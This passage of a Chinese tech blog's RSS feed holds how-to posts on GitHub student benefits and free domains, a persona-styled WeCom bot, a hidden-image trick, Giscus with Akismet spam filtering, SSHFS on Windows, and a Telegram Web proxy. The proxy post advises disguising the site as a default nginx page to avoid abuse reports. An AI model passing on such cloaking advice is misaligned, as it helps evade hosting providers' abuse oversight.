&lt;p&gt;比如我的录取通知书翻译为&lt;/p&gt;
&lt;p&gt;然后用手机拍照即可&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://2x.nz/_astro/2025-08-08-01-06-56-image.CuKJUzQ9.webp&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;不出意外，批准！&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://2x.nz/_astro/2025-08-08-01-07-22-image.UM0KRevx.webp&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;h2&gt;认证疑难解答&lt;/h2&gt;
&lt;p&gt;报错什么姓名不符，确保你的Github Payment Information姓名和你提交的证明文件姓名一样，如果不一样，改完一定要注销重新登录Github才行&lt;/p&gt;
&lt;p&gt;报错用了VPN或者位置不对，请确保使用中国大陆网络！如果你没有校园网就用流量！&lt;/p&gt;
&lt;hr /&gt;
&lt;h1&gt;GitHub Education 福利领取&lt;/h1&gt;
&lt;p&gt;通过学生认证后，你就可以前往 &lt;a href=&quot;https://education.github.com/pack&quot;&gt;GitHub Student Developer Pack&lt;/a&gt; 领取各种免费福利啦！&lt;/p&gt;
&lt;p&gt;下面介绍一些免费的域名福利：&lt;/p&gt;
&lt;h2&gt;免费领取一年 .tech 域名&lt;/h2&gt;
&lt;p&gt;前往 &lt;a href=&quot;https://education.github.com/pack&quot;&gt;GitHub Student Developer Pack - GitHub Education&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;一直往下滚，直到找到 .tech 字样的项目，点击蓝色链接进入&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://2x.nz/_astro/2025-08-11-21-49-27-image.D-JvGa0F.webp&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;输入域名，然后添加到购物车&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://2x.nz/_astro/2025-08-11-21-50-09-image.CR2pUEuS.webp&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;点击结账&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://2x.nz/_astro/2025-08-11-21-50-20-image.CBruvUTC.webp&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;在这里登录Github账户（我已经免费拿一个了所以拿不了噜~）&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://2x.nz/_astro/2025-08-11-21-51-05-image.CFDr8qLe.webp&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;不出意外你的Total应该是0，点击就购买成功！&lt;/p&gt;
&lt;hr /&gt;
&lt;p&gt;接下来来到 https://controlpanel.tech/&lt;/p&gt;
&lt;p&gt;登录你的账户&lt;/p&gt;
&lt;p&gt;输入你的域名并跳转到控制台&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://2x.nz/_astro/2025-08-11-21-53-59-image.BY3gMFek.webp&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;改NS到Cloudflare~&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://2x.nz/_astro/2025-08-11-21-54-26-image.CEJefCe-.webp&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;当当当当~&lt;/p&gt;
&lt;p&gt;激活咯~&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://2x.nz/_astro/2025-08-11-21-54-51-db66a30e7c1fa897656df0c4e0d90390.BVpKyoPb.webp&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;h2&gt;免费领取一年 .me 域名&lt;/h2&gt;
&lt;p&gt;前往 &lt;a href=&quot;https://education.github.com/pack&quot;&gt;GitHub 学生开发者包 - GitHub Education&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;往下滚直到找到这个&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://2x.nz/_astro/2025-08-11-22-40-15-747b62efa69a5b34182a68ac4c7130cb.BD8g-6-L.webp&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;点击这里&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://2x.nz/_astro/2025-08-11-22-40-31-image.LZXWFEZY.webp&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;进行Github授权&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://2x.nz/_astro/2025-08-11-22-40-48-5e092849ebad203968bd801ad2d4534a.Dtuf2jWX.webp&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;成功验证学生资格咯~&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://2x.nz/_astro/2025-08-11-22-41-00-703f88997e8c2281f2a473e03a19a061.k6lfZbHX.webp&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;选一个你喜欢的 .me 域名，然后加入购物车（FREE！）&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://2x.nz/_astro/2025-08-11-22-41-21-0a5f5a19e86e622f923b2ca7ec2d0a1e.8vFbWGya.webp&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;勾上Github Page，填上你的Github邮箱&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://2x.nz/_astro/2025-08-11-22-41-48-1812c773c7f4044f2705f565dfb443bc.BMwwK6-L.webp&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;接下来登录使用Github邮箱注册的号，没有号就注册一个！&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://2x.nz/_astro/2025-08-11-22-42-19-b6c04a5c6d9c66e729c54d9f66c2ef44.CFBNC-GF.webp&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;完成订单咯~&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://2x.nz/_astro/2025-08-11-22-42-33-8b2edf1503f41426c60a0218c87b8ae5.BE8LZQdv.webp&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;在控制台将NS转到Cloudflare！&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://2x.nz/_astro/2025-08-11-22-42-47-5a59c356ad54788f34f0cfee2428853b.Yz9GaJov.webp&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://2x.nz/_astro/2025-08-11-22-42-52-dcbcc938cbfaaade3d7a98538af3a26a.dO9a4ftg.webp&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://2x.nz/_astro/2025-08-11-22-42-56-de9a3668c84d4209aa997c643711befb.DixJ-hwL.webp&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;NameCheap的NS传播似乎有些慢，等等咯~&lt;/p&gt;
&lt;p&gt;半小时后有咯~&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://2x.nz/_astro/2025-08-11-22-54-37-image.BWBqzVPg.webp&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;h2&gt;再领取两个免费一年域名&lt;/h2&gt;
&lt;p&gt;除了 .tech 和 .me 之外，还可以再领取两个免费域名！&lt;/p&gt;
&lt;p&gt;前往 &lt;a href=&quot;https://education.github.com/pack&quot;&gt;GitHub 学生开发者包 - GitHub Education&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;往下滚动 找到&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://2x.nz/_astro/2025-08-11-23-05-40-107c27403a989dddcdd101180ee13509.DD5iil_6.webp&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;点击登录并验证你的学生身份&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://2x.nz/_astro/2025-08-11-23-05-55-72bea2d54c200e08fa652d3997adcf06.CV9LqY2R.webp&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;短域名也有免费的！&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://2x.nz/_astro/2025-08-11-23-06-11-e4fe0a62548c9c69d32cb2a79176a52b.Dk3eqUBC.webp&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;长域名更是不在话下！&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://2x.nz/_astro/2025-08-11-23-06-23-b45ebff5a8fe5214bb0291d77cb3fa1e.DTeFqyp9.webp&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;但是最终结账的时候只能免费&lt;strong&gt;两个&lt;/strong&gt;域名哦~&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://2x.nz/_astro/2025-08-11-23-06-43-e67a6d8837878e07ef1b2bb5b8cb4d11.U_mgQR5o.webp&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;需要绑卡验证，扣0.00元。Bybit虚拟卡可用&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://2x.nz/_astro/2025-08-11-23-07-06-bfaade641dbd1c125301195d4ad28bed.CHH0V30M.webp&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://2x.nz/_astro/2025-08-11-23-07-10-bdd91d31b4c3c388555faad961924cc0.Bh_4tutI.webp&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;等待跑进度条~&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://2x.nz/_astro/2025-08-11-23-07-39-ea95cc5fbfc9ac8fcec2f90614d49d6a.D8kx5oHM.webp&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;接下来老生常谈的改NS到Cloudflare&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://2x.nz/_astro/2025-08-11-23-07-56-85434553c9304a3f0a0ccc10accbef01.DJg_95ZH.webp&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://2x.nz/_astro/2025-08-11-23-08-01-bd48e80dafba30f3e4a98a6bcae3f04e.BtqtS7E1.webp&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://2x.nz/_astro/2025-08-11-23-08-05-6ae9ce6c4cc5332003ac8101653477b7.BAa9ef9D.webp&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;成功激活~&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://2x.nz/_astro/2025-08-11-23-08-13-6ceb145115731817f2738c711359dc3f.T_NtRGFa.webp&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;hr /&gt;
&lt;h1&gt;总结&lt;/h1&gt;
&lt;p&gt;通过GitHub Education学生认证，你一共可以领取：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;1个免费的 .tech 域名（一年）&lt;/li&gt;
&lt;li&gt;1个免费的 .me 域名（一年）&lt;/li&gt;
&lt;li&gt;2个额外的免费域名（一年）&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;快去领取你的福利吧！&lt;/p&gt;
</content:encoded></item><item><title>你说什么？企业微信能免费用Deepseek？！还能调成猫娘？！！</title><link>https://2x.nz/posts/qiyewx-deepseek/</link><guid isPermaLink="true">https://2x.nz/posts/qiyewx-deepseek/</guid><description>今天无意中建了个企业微信群，然后就发现可以加智能体，然后就调了个猫娘出来...</description><pubDate>Wed, 06 Aug 2025 16:00:00 GMT</pubDate><content:encoded>&lt;h1&gt;正式开始&lt;/h1&gt;
&lt;p&gt;非常简单，首先你要有一个企业微信号&lt;/p&gt;
&lt;p&gt;然后前往 &lt;code&gt;工作台&lt;/code&gt; 往下拉找到 &lt;code&gt;智能机器人&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://2x.nz/_astro/2025-08-07-04-12-05-e290f1322ccb6a32082cad8d44017ba4.DFGSLsNh.webp&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;接下来就可以创建了&lt;/p&gt;
&lt;p&gt;在 &lt;code&gt;角色设定&lt;/code&gt; 可以提示词注入一下&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://2x.nz/_astro/2025-08-07-04-13-32-13b847d4e4e01c1780dbf18828172ebe_720.Cwh5JWgB.webp&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;然后你就得到了&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://2x.nz/_astro/2025-08-07-04-13-46-b3720dc7d5946e995cbf6df189d02677.Bo5Qp8Q4.webp&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;可以通过多种方式使用~&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://2x.nz/_astro/2025-08-07-04-14-58-d5ad87ab42f14ccbc220bf91ba5ec5d6.B1nqcgHi.webp&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
</content:encoded></item><item><title>平平无奇的一张图，拉高曝光就能显现另一张图？</title><link>https://2x.nz/posts/hideimg/</link><guid isPermaLink="true">https://2x.nz/posts/hideimg/</guid><description>教你制作自己的“光棱坦克”！</description><pubDate>Sun, 03 Aug 2025 16:00:00 GMT</pubDate><content:encoded>&lt;h1&gt;体验站点&lt;/h1&gt;
&lt;blockquote&gt;
&lt;p&gt;https://imghide.2x.nz/&lt;/p&gt;
&lt;p&gt;视频教程： https://www.bilibili.com/video/BV1wdh3zYESe/&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h1&gt;原理&lt;/h1&gt;
&lt;p&gt;首先将原图嵌入，然后将隐藏图的亮度降至极低，并以棋盘排列嵌入原图&lt;/p&gt;
&lt;p&gt;最终生成的图片呈现一种灰色网格状&lt;/p&gt;
&lt;p&gt;默认只能看到原图，虽然隐藏图信息仍在，但是太黑了，人眼只会把他们当作黑色像素点处理&lt;/p&gt;
&lt;p&gt;当人为提高曝光后，原图过曝，趋于白色，丢失信息&lt;/p&gt;
&lt;p&gt;而隐藏图被拉亮，逐渐可见&lt;/p&gt;
&lt;p&gt;最终原图消失，而隐藏图完全显现&lt;/p&gt;
</content:encoded></item><item><title>你是否在寻找一个评论系统而又不想自托管？又饱受垃圾评论的叨扰？</title><link>https://2x.nz/posts/giscus-akismet/</link><guid isPermaLink="true">https://2x.nz/posts/giscus-akismet/</guid><description>Giscus就是这样一个很好的评论区，它基于Github Discussion，无需自托管，无需你管理账号，仅需引入一个JS即可用！</description><pubDate>Sun, 03 Aug 2025 16:00:00 GMT</pubDate><content:encoded>&lt;h1&gt;配置Giscus&lt;/h1&gt;
&lt;blockquote&gt;
&lt;p&gt;Giscus使用Github Discussion实现存储用户评论，无需自托管&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;首先你需要创建一个 &lt;strong&gt;公开仓库&lt;/strong&gt; （建议新开一个干净的空仓库）&lt;/p&gt;
&lt;p&gt;然后在仓库设置中 &lt;strong&gt;启用&lt;/strong&gt; &lt;code&gt;Discussion&lt;/code&gt; 功能&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://2x.nz/_astro/2025-08-04-12-16-36-image.BpN1b3wQ.webp&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;前往 https://giscus.app/zh-CN&lt;/p&gt;
&lt;p&gt;首先填写你的仓库，通过检查&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://2x.nz/_astro/2025-08-04-12-17-42-image.CqVm4ii9.webp&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;接下来的 &lt;code&gt;映射关系&lt;/code&gt; 十分重要！&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;pathname &lt;strong&gt;（最推荐）&lt;/strong&gt;：假如你的文章路径为 &lt;code&gt;posts/helloworld&lt;/code&gt; 。那么只要你保证这个路径不变，评论和页面就永远匹配&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;url：只要你换&lt;strong&gt;域名&lt;/strong&gt;了，评论和页面就无法匹配&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;title：只要你换&lt;strong&gt;标题&lt;/strong&gt;了，评论和页面就无法匹配&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;img src=&quot;https://2x.nz/_astro/2025-08-04-12-18-21-image.e-c9tjIX.webp&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;需要特别注意的是&lt;/strong&gt;：建议 &lt;strong&gt;勾选&lt;/strong&gt; &lt;code&gt;使用严格的标题匹配&lt;/code&gt; ，&lt;strong&gt;避免评论串台&lt;/strong&gt;。开启后，Giscus会根据你选择的映射关系为每一个新的Discussion（新的页面的评论区）插入一个与众不同的 &lt;em&gt;sha1 指纹&lt;/em&gt; 。之后的页面评论区与Github Discussion的映射关系都依赖这个哈希字符串，它在每一个Discussion的正文中，以注释形式写入&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://2x.nz/_astro/giscus-akismet-1.7FeSJSff.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;如果你弄丢了或者写错了，Giscus之后将会再创建一个同名的Discussion，并写入正确的哈希&lt;/p&gt;
&lt;p&gt;若旧Discussion并未删除，并想让Giscus命中一个不同的Discussion，你需要根据Giscus默认分配的页面标题（这取决于你上面勾选的映射关系，若勾选pathname，即为 &lt;code&gt;posts/pin&lt;/code&gt; ）手动用 &lt;em&gt;sha1&lt;/em&gt; 算法算出哈希字符串并手动写入你想要让Giscus映射的Discussion&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;root@AcoFork-NAS:~# echo -n &quot;posts/pin/&quot; | sha1sum
6ae1aef4a17c896d06677a8e55c23b364bb82bbb  -
root@AcoFork-NAS:~#
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;分类推荐选择 &lt;strong&gt;公告（announcements）&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://2x.nz/_astro/2025-08-04-12-22-07-image.CFZrE-Qm.webp&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;特性按需勾选&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://2x.nz/_astro/2025-08-04-12-22-25-image.BDEGsN98.webp&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;主题按喜好选择。更改后主题会立即呈现&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://2x.nz/_astro/2025-08-04-12-22-57-image.ChBqnQLs.webp&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;最后将这段JS复制，放置在你想作为评论区的区块即可&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://2x.nz/_astro/2025-08-04-12-23-41-image.Dj4BL9OG.webp&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;h1&gt;配置Akismet&lt;/h1&gt;
&lt;blockquote&gt;
&lt;p&gt;Akismet (Automattic Kismet) 是应用广泛的一个垃圾留言过滤系统，其作者是大名鼎鼎的 WordPress 创始人 Matt Mullenweg，Akismet 也是 WordPress 默认安装的插件，其使用非常广泛，设计目标便是帮助博客网站来过滤垃圾留言。&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;注册 &lt;a href=&quot;https://akismet.com/&quot;&gt;akismet.com&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;选择 Akismet Personal 订阅，将滑块拉到0$，记录得到的 Akismet API Key&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://2x.nz/_astro/2025-08-04-12-27-58-image.sNmB09Z0.webp&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;前往 https://github.com/afoim/giscus-fuwari/blob/main/.github/workflows/akismet-comment-check.yml&lt;/p&gt;
&lt;p&gt;将这个Github Action部署到你的启用了Giscus的仓库&lt;/p&gt;
&lt;p&gt;配置Secret：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;AKISMET_API_KEY：你的Akismet API Key&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;GH_TOKEN：前往 https://github.com/settings/tokens 创建一个具有 &lt;code&gt;repo&lt;/code&gt; &lt;code&gt;write:discussion&lt;/code&gt; &lt;code&gt;user&lt;/code&gt; 权限的Github个人令牌&lt;img src=&quot;https://2x.nz/_astro/2025-08-04-12-29-06-image.DA6wsvUp.webp&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;测试反垃圾是否有效，发送内容为 &lt;code&gt;viagra-test-123&lt;/code&gt; 的评论。该评论一定会被当作垃圾评论&lt;/p&gt;
&lt;p&gt;查看Github Action是否做出删评行为&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://2x.nz/_astro/2025-08-04-12-30-37-image.IzxitEBk.webp&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;h1&gt;封禁用户&lt;/h1&gt;
&lt;blockquote&gt;
&lt;p&gt;如果有人一直刷屏但是反垃圾未检测到？&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;你可以前往该用户个人信息页面手动封禁它&lt;/p&gt;
&lt;p&gt;详见 &lt;a href=&quot;https://docs.github.com/zh/communities/maintaining-your-safety-on-github/blocking-a-user-from-your-personal-account#blocking-a-user-from-their-profile-page&quot;&gt;阻止用户访问您的个人帐户 - GitHub 文档&lt;/a&gt;&lt;/p&gt;
&lt;h1&gt;防止新用户刷评&lt;/h1&gt;
&lt;blockquote&gt;
&lt;p&gt;如果有人一直开小号刷评？&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;使用 https://github.com/你的用户名/你的仓库/settings/interaction_limits&lt;/p&gt;
&lt;p&gt;配置临时交互限制，这样新用户就无法对您的存储库进行任何操作&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://2x.nz/_astro/2025-08-04-20-43-06-image.9uVrfEOs.webp&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
</content:encoded></item><item><title>将你的Linux硬盘映射到Windows？</title><link>https://2x.nz/posts/sshfs/</link><guid isPermaLink="true">https://2x.nz/posts/sshfs/</guid><description>如何像Windows一样管理Linux文件？SSHFS来帮你！</description><pubDate>Sat, 02 Aug 2025 16:00:00 GMT</pubDate><content:encoded>&lt;h1&gt;正式开始&lt;/h1&gt;
&lt;p&gt;前往 &lt;a href=&quot;https://github.com/winfsp/sshfs-win&quot;&gt;winfsp/sshfs-win: SSHFS For Windows&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;下载并安装&lt;/p&gt;
&lt;p&gt;前往 &lt;a href=&quot;https://github.com/evsar3/sshfs-win-manager&quot;&gt;evsar3/sshfs-win-manager: A GUI for SSHFS-Win (https://github.com/billziss-gh/sshfs-win)&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;下载并安装&lt;/p&gt;
&lt;p&gt;打开&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://2x.nz/_astro/2025-08-03-19-19-07-image.CWOjjr4s.webp&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;如果的sshfs-win没有安装在默认位置需要手动指定一下，进入 &lt;code&gt;Settings&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://2x.nz/_astro/2025-08-03-19-20-01-image.DTlXJaHM.webp&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;接下来点击 &lt;code&gt;Add Connection&lt;/code&gt; 懂的都懂&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://2x.nz/_astro/2025-08-03-19-20-24-image.DHuBLUDc.webp&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;保存后点击连接按钮&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://2x.nz/_astro/2025-08-04-11-58-52-image.DywnY_LA.webp&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;接着你就能在文件资源管理器看到你的盘了&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://2x.nz/_astro/2025-08-04-11-59-20-image.C117FjMn.webp&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
</content:encoded></item><item><title>大陆直连TG Web？触手可及！</title><link>https://2x.nz/posts/proxy-tgweb/</link><guid isPermaLink="true">https://2x.nz/posts/proxy-tgweb/</guid><description>TG Web采用前后端分离，前端可以部署到静态托管平台，而后端可以用各种服务反代</description><pubDate>Fri, 01 Aug 2025 16:00:00 GMT</pubDate><content:encoded>&lt;h1&gt;注意，将该项目直接绑定到你的域名会吃Abuse&lt;/h1&gt;
&lt;p&gt;推荐将 &lt;code&gt;index.html&lt;/code&gt; 重命名。让别人访问根路径无法访问到正常页面即可，但不保证永远不会吃Abuse&lt;/p&gt;
&lt;p&gt;然后创建一个新的 &lt;code&gt;index.html&lt;/code&gt; 写入：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;&amp;lt;html&amp;gt;&amp;lt;head&amp;gt;
	&amp;lt;title&amp;gt;Welcome to nginx!&amp;lt;/title&amp;gt;
	&amp;lt;style&amp;gt;
		body {
			width: 35em;
			margin: 0 auto;
			font-family: Tahoma, Verdana, Arial, sans-serif;
		}
	&amp;lt;/style&amp;gt;
	&amp;lt;style data-id=&quot;immersive-translate-input-injected-css&quot;&amp;gt;.immersive-translate-input {
  position: absolute;
  top: 0;
  right: 0;
  left: 0;
  bottom: 0;
  z-index: 2147483647;
  display: flex;
  justify-content: center;
  align-items: center;
}
.immersive-translate-attach-loading::after {
  content: &quot; &quot;;

  --loading-color: #f78fb6;
  width: 6px;
  height: 6px;
  border-radius: 50%;
  display: block;
  margin: 12px auto;
  position: relative;
  color: white;
  left: -100px;
  box-sizing: border-box;
  animation: immersiveTranslateShadowRolling 1.5s linear infinite;

  position: absolute;
  top: 50%;
  left: 50%;
  transform: translate(-2000%, -50%);
  z-index: 100;
}

.immersive-translate-loading-spinner {
  vertical-align: middle !important;
  width: 10px !important;
  height: 10px !important;
  display: inline-block !important;
  margin: 0 4px !important;
  border: 2px rgba(221, 244, 255, 0.6) solid !important;
  border-top: 2px rgba(0, 0, 0, 0.375) solid !important;
  border-left: 2px rgba(0, 0, 0, 0.375) solid !important;
  border-radius: 50% !important;
  padding: 0 !important;
  -webkit-animation: immersive-translate-loading-animation 0.6s infinite linear !important;
  animation: immersive-translate-loading-animation 0.6s infinite linear !important;
}

@-webkit-keyframes immersive-translate-loading-animation {
  from {
    -webkit-transform: rotate(0deg);
  }

  to {
    -webkit-transform: rotate(359deg);
  }
}

@keyframes immersive-translate-loading-animation {
  from {
    transform: rotate(0deg);
  }

  to {
    transform: rotate(359deg);
  }
}

.immersive-translate-input-loading {
  --loading-color: #f78fb6;
  width: 6px;
  height: 6px;
  border-radius: 50%;
  display: block;
  margin: 12px auto;
  position: relative;
  color: white;
  left: -100px;
  box-sizing: border-box;
  animation: immersiveTranslateShadowRolling 1.5s linear infinite;
}

@keyframes immersiveTranslateShadowRolling {
  0% {
    box-shadow: 0px 0 rgba(255, 255, 255, 0), 0px 0 rgba(255, 255, 255, 0),
      0px 0 rgba(255, 255, 255, 0), 0px 0 rgba(255, 255, 255, 0);
  }

  12% {
    box-shadow: 100px 0 var(--loading-color), 0px 0 rgba(255, 255, 255, 0),
      0px 0 rgba(255, 255, 255, 0), 0px 0 rgba(255, 255, 255, 0);
  }

  25% {
    box-shadow: 110px 0 var(--loading-color), 100px 0 var(--loading-color),
      0px 0 rgba(255, 255, 255, 0), 0px 0 rgba(255, 255, 255, 0);
  }

  36% {
    box-shadow: 120px 0 var(--loading-color), 110px 0 var(--loading-color),
      100px 0 var(--loading-color), 0px 0 rgba(255, 255, 255, 0);
  }

  50% {
    box-shadow: 130px 0 var(--loading-color), 120px 0 var(--loading-color),
      110px 0 var(--loading-color), 100px 0 var(--loading-color);
  }

  62% {
    box-shadow: 200px 0 rgba(255, 255, 255, 0), 130px 0 var(--loading-color),
      120px 0 var(--loading-color), 110px 0 var(--loading-color);
  }

  75% {
    box-shadow: 200px 0 rgba(255, 255, 255, 0), 200px 0 rgba(255, 255, 255, 0),
      130px 0 var(--loading-color), 120px 0 var(--loading-color);
  }

  87% {
    box-shadow: 200px 0 rgba(255, 255, 255, 0), 200px 0 rgba(255, 255, 255, 0),
      200px 0 rgba(255, 255, 255, 0), 130px 0 var(--loading-color);
  }

  100% {
    box-shadow: 200px 0 rgba(255, 255, 255, 0), 200px 0 rgba(255, 255, 255, 0),
      200px 0 rgba(255, 255, 255, 0), 200px 0 rgba(255, 255, 255, 0);
  }
}

.immersive-translate-toast {
  display: flex;
  position: fixed;
  z-index: 2147483647;
  left: 0;
  right: 0;
  top: 1%;
  width: fit-content;
  padding: 12px 20px;
  margin: auto;
  overflow: auto;
  background: #fef6f9;
  box-shadow: 0px 4px 10px 0px rgba(0, 10, 30, 0.06);
  font-size: 15px;
  border-radius: 8px;
  color: #333;
}

.immersive-translate-toast-content {
  display: flex;
  flex-direction: row;
  align-items: center;
}

.immersive-translate-toast-hidden {
  margin: 0 20px 0 72px;
  text-decoration: underline;
  cursor: pointer;
}

.immersive-translate-toast-close {
  color: #666666;
  font-size: 20px;
  font-weight: bold;
  padding: 0 10px;
  cursor: pointer;
}

@media screen and (max-width: 768px) {
  .immersive-translate-toast {
    top: 0;
    padding: 12px 0px 0 10px;
  }
  .immersive-translate-toast-content {
    flex-direction: column;
    text-align: center;
  }
  .immersive-translate-toast-hidden {
    margin: 10px auto;
  }
}

.immersive-translate-modal {
  display: none;
  position: fixed;
  z-index: 2147483647;
  left: 0;
  top: 0;
  width: 100%;
  height: 100%;
  overflow: auto;
  background-color: rgb(0, 0, 0);
